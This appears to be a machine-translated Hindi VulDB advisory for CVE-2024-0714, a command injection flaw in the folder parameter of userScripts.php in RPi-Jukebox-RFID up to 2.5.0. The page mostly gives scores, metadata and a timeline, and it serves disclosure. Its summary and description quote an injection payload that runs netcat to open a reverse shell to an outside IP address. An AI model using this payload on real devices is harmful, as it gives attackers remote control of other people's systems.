MiczFlor RPi-Jukebox-RFID तक 2.5.0 HTTP Request userScripts.php folder अधिकार वृद्धि

सारांशजानकारी

एक भेद्यता जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, MiczFlor RPi-Jukebox-RFID तक 2.5.0 में खोजी गई है। प्रभावित तत्त्व है एक अपरिभाषित कार्य userScripts.php फ़ाइल में मौजूद है और HTTP Request Handler घटक से संबंधित है। हेरफेर तर्क folder का इनपुट ;nc 104.236.1.147 4444 -e /bin/bash; के साथ के कारण अधिकार वृद्धि होती है। इस संवेदनशीलता को CVE-2024-0714 के रूप में जाना जाता है। दूरस्थ स्थान से हमला शुरू करना संभव है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है.

विवरणजानकारी

एक भेद्यता जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, MiczFlor RPi-Jukebox-RFID तक 2.5.0 में खोजी गई है। प्रभावित तत्त्व है एक अपरिभाषित कार्य userScripts.php फ़ाइल में मौजूद है और HTTP Request Handler घटक से संबंधित है। हेरफेर तर्क folder का इनपुट ;nc 104.236.1.147 4444 -e /bin/bash; के साथ के कारण अधिकार वृद्धि होती है। समस्या को घोषित करने के लिए CWE का उपयोग करने से CWE-78 की ओर ले जाता है। यह कमजोरी प्रकाशित हुई थी 19/01/2024.

इस संवेदनशीलता को CVE-2024-0714 के रूप में जाना जाता है। दूरस्थ स्थान से हमला शुरू करना संभव है। तकनीकी विवरण उपलब्ध हैं. इस भेद्यता की लोकप्रियता औसत से कम है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है. एक्सप्लॉइट को सार्वजनिक रूप से प्रकट किया गया है और इसका उपयोग किया जा सकता है। वर्तमान में एक एक्सप्लॉइट की कीमत might be approx. USD $0-$5k है। अगर T1202 की वैल्यू है, तो MITRE ATT&CK प्रोजेक्ट इस अटैक टेक्नीक को T1202 के रूप में घोषित करता है।

इसे अवधारणा प्रमाण घोषित किया गया है। 0-डे के तौर पर इसकी अनुमानित अवैध बाजार कीमत करीब $0-$5k थी.

उत्पादजानकारी

विक्रेता

• MiczFlor

नाम

• RPi-Jukebox-RFID

संस्करण

• 2.0
• 2.1
• 2.2
• 2.3
• 2.4
• 2.5.0

CPE 2.3जानकारी

• 🔍
• 🔍
• 🔍

CPE 2.2जानकारी

• 🔍
• 🔍
• 🔍

CVSSv4जानकारी

VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv3जानकारी

VulDB मेटा बेस स्कोर: 7.5
VulDB मेटा अस्थायी स्कोर: 7.3

VulDB मूल स्कोर: 6.3
VulDB अस्थायी स्कोर: 5.7
VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 9.8
NVD वेक्टर: 🔍

CNA मूल स्कोर: 6.3
CNA वेक्टर (VulDB): 🔍

CVSSv2जानकारी

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

सदिश	जटिलता	प्रमाणीकरण	गोपनीयता	अखंडता	उपलब्धता
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

VulDB मूल स्कोर: 🔍
VulDB अस्थायी स्कोर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 🔍

शोषणजानकारी

वर्ग: अधिकार वृद्धि
CWE: CWE-78 / CWE-77 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

भौतिक: नहीं
स्थानीय: नहीं
दूरस्थ: हाँ

उपलब्धता: 🔍
प्रवेश: सार्वजनिक
स्थिति: अवधारणा प्रमाण
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

मूल्य पूर्वानुमान: 🔍
वर्तमान मूल्य अनुमान: 🔍

0-Day	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
आज	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

खतरे की खुफियाजानकारी

रुचि: 🔍
सक्रिय अभिनेता: 🔍
सक्रिय APT समूह: 🔍

प्रतिव्यवस्थाजानकारी

सिफारिश: कोई शमन ज्ञात नहीं
स्थिति: 🔍

0-दिवसीय समय: 🔍

समयरेखाजानकारी

19/01/2024 🔍
19/01/2024 +0 दिन 🔍
19/01/2024 +0 दिन 🔍
15/02/2024 +27 दिन 🔍

स्रोतजानकारी

स्थिति: परिभाषित नहीं

CVE: CVE-2024-0714 (🔍)
GCVE (CVE): GCVE-0-2024-0714
GCVE (VulDB): GCVE-100-251540
scip Labs: https://www.scip.ch/en/?labs.20161013

प्रविष्टिजानकारी

बनाया गया: 19/01/2024 08:05 AM
अद्यतनित: 15/02/2024 07:46 AM
परिवर्तन: 19/01/2024 08:05 AM (42), 15/02/2024 07:40 AM (2), 15/02/2024 07:46 AM (28)
पूर्ण: 🔍
प्रेषक: torada
Cache ID: 216::103

जमा करेंजानकारी

स्वीकृत

• जमा करें #265104: miczflor rpi-jukebo 1.0 Remote code execution via web application in miczflor/rpi-jukebo (द्वारा torada)

प्रतिलिपि

• जमा करें #XXXXXX: Xxxxxxxx Xxx-xxxxxxx-xxxx X.x.x Xxxxxxx Xxxxxxxxx (द्वारा XU17)

Once again VulDB remains the best source for vulnerability data.

चर्चा

Want to stay up to date on a daily basis?

Enable the mail alert feature now!